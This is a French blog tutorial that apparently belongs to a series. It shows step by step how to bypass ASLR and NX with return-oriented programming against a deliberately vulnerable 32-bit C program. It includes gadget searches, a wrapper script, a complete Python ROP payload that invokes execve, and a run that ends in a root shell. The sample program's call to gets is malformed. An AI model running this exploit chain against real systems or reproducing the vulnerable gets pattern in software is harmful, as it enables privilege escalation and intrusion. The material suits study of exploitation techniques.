Buffer overflow : ROP

Buffer overflow : ROP

Dans l'article précédent, nous avons vu une technique permettant de bypasser une protection (le bit NX) qui empéchait l'exécution de code dans certaines zones telles que la pile ou le tas. Eh bien dans cet article, nous allons remettre une couche de protection supplémentaire par dessus : l'ASLR.

ASL quoi ?

ASLR (pour Address Space Layout Randomization) ! Il s'agit d'une protection qui fait varier les adresses de certaines zones mémoires (mais pas toutes ! :D) à chaque lancement du programme. Une exploitation s'avère alors nettement plus difficile (mais pas impossible pour autant, c'est important de le noter).

Dans les exemples précédents, je vous faisais taper cette commande.

# echo 0 > /proc/sys/kernel/randomize_va_space

C'est cela qui permettait de désactiver l'ASLR, ce que nous n'allons pas faire cette fois-ci. Sous ma distribution, cette protection est activée par défaut mais si vous souhaitez forcer son activation, il vous faut taper la commande suivante.

# echo 2 > /proc/sys/kernel/randomize_va_space

On peut se rendre compte rapidement de la présence de l'ASLR, par exemple, en utilisant la commande ldd qui va afficher les bibliothèques partagées nécessaires au fonctionnement du programme comme la libc dont nous avons parlé dans le précédent article.

Reprenons le programme que nous avions utilisé pour bypasser le bit NX.

Avec l'ASLR désactivé, voici ce que ça donne.

que20@hacktion:~$ ldd ./bypassnx
        linux-gate.so.1 (0xf7ffb000)
        libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf7e1e000)
        /lib/ld-linux.so.2 (0x56555000)
que20@hacktion:~$ ldd ./bypassnx
        linux-gate.so.1 (0xf7ffb000)
        libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf7e1e000)
        /lib/ld-linux.so.2 (0x56555000)
que20@hacktion:~$ ldd ./bypassnx
        linux-gate.so.1 (0xf7ffb000)
        libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf7e1e000)
        /lib/ld-linux.so.2 (0x56555000)
que20@hacktion:~$ 

Comme vous pouvez le constater, les adresses ne changent pas entre les différentes exécutions du programme.

Maintenant, la même chose avec l'ASLR activé.

que20@hacktion:~$ ldd ./bypassnx
        linux-gate.so.1 (0xf7795000)
        libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf75b8000)
        /lib/ld-linux.so.2 (0xf7798000)
que20@hacktion:~$ ldd ./bypassnx
        linux-gate.so.1 (0xf777f000)
        libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf75a2000)
        /lib/ld-linux.so.2 (0xf7782000)
que20@hacktion:~$ ldd ./bypassnx
        linux-gate.so.1 (0xf774c000)
        libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf756f000)
        /lib/ld-linux.so.2 (0xf774f000)
que20@hacktion:~$ 

Dans ce cas ci, les adresses ne sont plus les mêmes entre chaque lancement du programme.

Autrement dit, admettons que nous tentions une exploitation de type « ret2libc », nous déterminons que l'adresse de la fonction system est 0x0804cafe mais, au prochain lancement du programme, cette adresse sera, par exemple, 0x0804c0de, puis au suivant 0x08041ad6 et ainsi de suite à chaque lancement. A moins d'un sacré coup de chance (ce qui reste possible, surtout si on « bruteforce »), il nous sera difficile de mener à bien cette exploitation.

L'une des techniques est de lancer l'exploit en boucle en espérant tomber par chance sur la bonne adresse. Mais nous, ce nous souhaiterions, c'est que l'exploitation puisse fonctionner à coup sûr. C'est là qu'intervient la technique dite du « Return Oriented Programming » abrégée souvent par « ROP ».

Le ROP, c'est tROP cool !

Je vous ai dit tout à l'heure que l'ASLR randomisait certaines zones mémoires (la pile, le tas et les librairies partagées). Eh oui, ce « certaines » est très important car cela veut dire que toutes les zones ne sont pas randomisées.

       0xffffffff 
    +-------------+
    |    STACK    | ▼ <-- Randomisé par l'ASLR
    +-------------+
    |    ZONE     |
    |    NON      |
    |    ALLOUEE  |
    +-------------+
    |    HEAP     | ▲ <-- Randomisé par l'ASLR
    +-------------+
    |    BSS      |
    +-------------+
    |    DATA     | 
    +-------------+
    |    TEXT     |   <-- N'est pas randomisé par l'ASLR ! :D
    +-------------+
       0x00000000

Le ROP consiste à utiliser les instructions machines présentes dans le segment .text (pour rappel, le segment .text contient le code ou plutôt les instructions machines de notre programme). Et ce segment... n'est pas randomisé par l'ASLR ! :)

En gros, on va prendre divers petits bouts de code présents dans la section .text qui, exécutés dans le bon ordre et avec les bons arguments, vont nous permettre d'obtenir ce que nous voulons, à savoir, dans le cas présent, un shell. Nous allons détourner les instructions du programme... contre lui même !

Pour cela, nous aurons besoin de gadgets (d'où le petit clin d'oeil à notre inspecteur ! :P ). Un gadget est une séquence d'instructions présentent dans la section .text se terminant par l'instruction ret. Pourquoi ce ret est-il important ? Car c'est lui qui va en quelque sorte « dire » de passer à la prochaine valeur sur la pile, valeur qui est l'adresse du prochain gadget. Ce nouveau gadget se terminera aussi par un ret, ce qui nous fera passer au gadget suivant et ainsi de suite. On obtient au final une sorte de « chaînage » entre les gadgets.

Exploitation

Voici le programme que nous utiliserons.

#include <stdio.h>
#include <stdlib.h>

/*
gcc -m32 -static -fno-stack-protector -z noexecstack rop.c -o rop
*/

void name();

void name()
{
    char firstname[64];

    printf("Entrez votre prenom : ");
    gets("%s", firstname);
    printf("Bonjour %s\n", firstname);
}

int main()
{
    name();
    return 0;
}

L'utilisation de la fonction gets (à ne jamais utiliser bien entendu, ici c'est juste pour l'exemple) nous facilitera la tâche car gets accepte les null-bytes contrairement à d'autres fonctions comme strcpy.

Remarquez aussi l'option static dans les paramètres de compilation. Cette option permet en quelque sorte d'intégrer les bibliothèques dynamiques à notre binaire plutôt que de faire une liaison. La conséquence est que le binaire aura une taille plus conséquente car il y aura plus de code à intégrer (ce qui nous arrange fortement puisque ça veut dire potentiellement plus de gadgets ! :D). Un avantage est que les bibliothèques en question ne devront pas forcément être présentes sur le système puisqu'elles ont été intégrées au binaire. Bref sans cette option, notre programme étant de taille très réduite, il est fort probable que nous ne disposions pas de tous les gadgets nécessaires pour mener à bien notre exploitation alors qu'avec le mot clé static, il est quasiment certain que ça soit le cas.

Il nous reste à aborder la manière dont nous allons atteindre notre principal objectif : obtenir un shell. Pour parvenir à cela, nous allons exécuter l'appel système execve et lui passer les divers arguments dont il a besoin (un appel système est une fonction primitive fournie par votre système d'exploitation). Cet appel dépendra donc non seulement du système d'exploitation mais aussi du type et de l'architecture du processeur. Sous GNU/Linux, ces appels systèmes sont listés dans le fichier /usr/include/x86_64-linux-gnu/asm/unistd_32.h pour du 32 bit et dans le fichier /usr/include/x86_64-linux-gnu/asm/unistd_64.h pour du 64 bit. Les arguments de l'appel système sont transmis via les registres suivant un certain ordre.

En bref, il nous savoir que ;

  • le registre EAX (ou RAX pour du 64 bit) contiendra le numéro de l'appel système
  • les arguments seront passés, dans cet ordre précis, via les registres EBX, ECX, EDX, ESI, EDI, EBP pour du 32 bit ou via les registres RDI, RSI, RDX, R10, R8, R9 pour du 64 bit
  • L'appel système sera lancé par une instruction « int 0x80 » pour du 32 bit ou par un « syscall » pour du 64 bit

Pour connaître le numéro attribué à l'appel système execve (pour un programme 32 bit), il suffit de lancer cette commande.

que20@hacktion:~$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep "execve"
#define __NR_execve 11
que20@hacktion:~$

Cet appel système prend les paramètres suivants.

execve("/bin/sh", NULL, NULL)

Si on suit ce que j'ai dit ci-dessus, alors on peut en déduire que ;

  • EAX contiendra le nombre 11, c'est à dire le numéro de l'appel système execve
  • EBX contiendra l'adresse qui pointe vers la chaîne de caractères qui représente la commande à exécuter
  • ECX contiendra l'adresse des arguments mais comme nous n'en avons pas besoin, nous mettrons simplement la valeur NULL (autrement dit 0)
  • EDX contiendra l'adresse des variables d'environnements mais comme nous n'en avons pas non plus besoin, nous mettrons également la valeur NULL (donc 0 aussi)

A présent il nous faut trouver nos fameux gadgets. Pour cela, nous utiliserons l'excellent outil dénommé ROPgadget écrit par Jonathan Salwan.

En premier lieu, il nous faudrait trouver un « pop eax ; ret ». L'option depth permet de préciser le nombre maximum d'instruction machine que l'on souhaite.

que20@hacktion:~$ ROPgadget --binary ./rop --depth 2 | grep "pop eax"              
0x080a49d2 : pop eax ; jmp dword ptr [eax]
0x0805c34b : pop eax ; ret <= Voici notre premier gadget
0x080d81df : pop eax ; retf
0x080e6f64 : pop eax ; retf 0
que20@hacktion:~$ 

Ensuite, un « pop ebx ; ret ».

que20@hacktion:~$ ROPgadget --binary ./rop --depth 2 | grep "pop ebx"
0x080503e3 : pop ebx ; jmp eax
0x080481a9 : pop ebx ; ret <= Et de deux !
0x080d88bc : pop ebx ; ret 0x6f9
0x080a0f47 : pop ebx ; ret 8
0x080d5d9d : pop ebx ; retf
que20@hacktion:~$ 

Au tour du « pop ecx ; ret ».

que20@hacktion:~$ ROPgadget --binary ./rop --depth 2 | grep "pop ecx"
0x080c0914 : pop ecx ; retf 0x805
que20@hacktion:~$ 

Ah, petit problème : il n'y a pas de gadget pop ecx ; ret

Ce n'est pas grave, voyons alors si nous n'avons pas des pop qui se suivent puis un ret car ça peut tout aussi bien convenir.

que20@hacktion:~$ ROPgadget --binary ./rop --depth 3 | grep "pop ecx"
0x080a49d1 : pop ecx ; pop eax ; jmp dword ptr [eax]
0x0806e4c1 : pop ecx ; pop ebx ; ret <= Yahou ! \o/
0x080c0914 : pop ecx ; retf 0x805
que20@hacktion:~$

Bingo ! On oublie donc notre gadget « pop ebx ; ret » et on le remplacera par celui-ci.

On continue avec un « pop edx ; ret ».

que20@hacktion:~$ ROPgadget --binary ./rop --depth 2 | grep "pop edx"
0x0806e49a : pop edx ; ret
0x080d773f : pop edx ; retf
que20@hacktion:~$ 

Et enfin, notre interruption « int 0x80 ».

que20@hacktion:~$ ROPgadget --binary ./rop --depth 2 | grep "int 0x80"
0x08049381 : int 0x80 <= J'achète !
0x0806eb2f : nop ; int 0x80
0x080b9d7f : push es ; int 0x80
que20@hacktion:~$ 

Il nous reste aussi une information vitale à connaitre : l'adresse de la chaîne pointant sur la commande à exécuter (souvent /bin/sh).

On peut procéder de plusieurs manières mais j'ai choisi la solution décrite dans cet excellent article de Ge0 (dont je me suis inspiré pour écrire celui-ci) car je la trouve simple à mettre en oeuvre, efficace et originale bien qu'elle ne fonctionne que sur des exploitations locales. En effet, le problème est que le binaire ne contiendra pas forcément la chaîne « /bin/sh » et si on place cette chaîne sur la pile, vu que celle-ci est randomisée, l'adresse de la chaîne sera également aléatoire, et ça, ça nous poserait problème.

La technique choisie consiste à récuperer une chaîne de caractères présente dans une des zones non concernées par l'ASLR (comme, par exemple, le segment de données) et à créer un script bash dont le nom sera cette chaîne de caractère. Admettons que nous trouvions la chaîne « trucmuche », lorsque execve essayera de lancer le programme trucmuche, il lancera ce script bash (qui sera très simple car son seul but sera d'exécuter la commande /bin/sh). Il faudra donc rendre ce script exécutable et probablement modifier le PATH (liste de dossiers dans lesquels le système va chercher lorsqu'un programme est lancé sans préciser le chemin absolu de celui-ci).

Rectification : il semblerait que execve se fout du PATH ( voir ce post ). L'exploit fonctionnait parce que le wrapper se trouvait dans le même dossier que le programme vulnérable mais ça pourrait ne pas être le cas. Il faut donc lancer l'exploit à partir du dossier dans lequel le wrapper se trouve. Exemple, si le programme vulnérable se trouve dans le home de trucmuche mais qu'on ne peut pas y écrire, on peut par exemple écrire notre exploit et notre wrapper dans le dossier /tmp (qui est en général accessible à tout le monde) et les lancer depuis ce dossier.

que20@hacktion:/tmp$ ls /tmp
exploit.py  wrapper
que20@hacktion:/tmp$ ls /home/trucmuche
programme_vulnerable
que20@hacktion:/tmp$ (python exploit.py; cat) | /home/trucmuche/programme_vulnerable

C'est que nous allons faire tout de suite ! Nous allons chercher une chaîne de caractères « lisible » dans la section « .rodata ». Il s'agit d'un segment de données dont celles-ci ne sont accesibles qu'en lecture seule, d'où le « ro » (pour Read Only). Il y a une autre contrainte : il faut que la chaîne se termine par un null byte ! On ne peut donc pas prendre n'importe quoi.

que20@hacktion:~$ readelf -x .rodata ./rop | head -n 20

Vidange hexadécimale de la section « .rodata » :
  0x080be540 03000000 01000200 456e7472 657a2076 ........Entrez v
  0x080be550 6f747265 20707265 6e6f6d20 3a200025 otre prenom : .%
  0x080be560 7300426f 6e6a6f75 72202573 0a006c69 s.Bonjour %s..li
  0x080be570 62632d73 74617274 2e630046 4154414c bc-start.c.FATAL
  0x080be580 3a206b65 726e656c 20746f6f 206f6c64 : kernel too old
  0x080be590 0a005f5f 6c696263 5f737461 72745f6d ..__libc_start_m
  0x080be5a0 61696e00 5f5f6568 64725f73 74617274 ain.__ehdr_start <= Oh la belle chaîne !
  0x080be5b0 2e655f70 68656e74 73697a65 203d3d20 .e_phentsize == 
  0x080be5c0 73697a65 6f66202a 5f646c5f 70686472 sizeof *_dl_phdr
  0x080be5d0 00000000 46415441 4c3a2063 616e6e6f ....FATAL: canno
  0x080be5e0 74206465 7465726d 696e6520 6b65726e t determine kern
  0x080be5f0 656c2076 65727369 6f6e0a00 756e6578 el version..unex
  0x080be600 70656374 65642072 656c6f63 20747970 pected reloc typ
  0x080be610 6520696e 20737461 74696320 62696e61 e in static bina
  0x080be620 7279002f 6465762f 66756c6c 002f6465 ry./dev/full./de
  0x080be630 762f6e75 6c6c0000 7365745f 74687265 v/null..set_thre
  0x080be640 61645f61 72656120 6661696c 65642077 ad_area failed w
  0x080be650 68656e20 73657474 696e6720 75702074 hen setting up t
que20@hacktion:~$ 

On remarque rapidement la chaîne « ain » à l'adresse 0x080be5a0 et cette chaîne se termine par un null byte ! C'est exactement ce que nous voulons ! Alors va pour « ain ».

Il nous faut à présent créer notre script bash et le rendre exécutable.

touch ain
chmod +x ain

Et voici ce que notre super script contiendra.

#!/bin/sh
/bin/sh

Il nous reste aussi à modifier la variable d'environnement PATH afin que la commande « ain » soit reconnue sans devoir spécifier le chemin complet. Comme le programme et le script sont dans le même dossier, nous pouvons indiquer qu'il faut rechercher dans le dossier courant. Si ce n'est pas le cas, indiquez alors le chemin absolu du dossier dans lequel se trouve votre script bash. FAUX ! \o/ (explication un peu plus au dessus)

que20@hacktion:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games
que20@hacktion:~$ ain
zsh: command not found: ain
que20@hacktion:~$ export PATH=.:$PATH
que20@hacktion:~$ ain
$ 

Et voilà, nous pouvons remarquer que cette fois-ci, la commande ain est reconnue et exécute bien notre script. :)

Nous possédons désormais toutes les informations nécessaires, il n'y a plus qu'à exploiter et pour un peu changer des autres articles, nous allons écrire un petit exploit en python.

#!/usr/bin/env python

import struct

payload = "A"*76

payload += struct.pack("<L", 0x0805c34b) # address of gadget pop eax ; ret
payload += struct.pack("<L", 0x0b)       # value (to set in EAX) of system call execve
payload += struct.pack("<L", 0x0806e4c1) # address of gadget pop ecx ; pop ebx ; ret
payload += struct.pack("<L", 0x0)        # value of argv (to set in ECX)
payload += struct.pack("<L", 0x080be5a0) # address of string ain (to set in EBX)
payload += struct.pack("<L", 0x0806e49a) # address of gadget pop edx ; ret
payload += struct.pack("<L", 0x0)        # value of envp (to set in EDX)
payload += struct.pack("<L", 0x08049381) # address of instruction int 0x80

print payload

Voici venu le moment de vérité !

que20@hacktion:~$ (python exploit.py; cat) | ./rop
Entrez votre prenom : Bonjour AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAV�


whoami
root

Résultat du match : Que20 1 - ASLR/NX 0 !

Conclusion

Comme nous venons de le constater, des protections ont été mises en place afin d'empêcher et/ou de rendre plus difficile l'exploitation de ce type de faille. Cependant, des parades ont également été trouvées et le ROP en est un très bel exemple. Mais ces parades ont engendrées, à leur tour, d'autres contre-mesures ! Par exemple, le flag PIE est une protection qui vise, en gros, à appliquer l'ASLR au segment de code et dans ce cas là, c'est plutôt la ROPe qu'on prendra :D ! Au final, c'est un jeu constant du chat et de la souris entre attaquants et défenseurs.

Facebook button Twitter button Google button

Laissez un commentaire

Votre adresse email ne sera pas publiée. Les champs marqués d'une * sont obligatoires.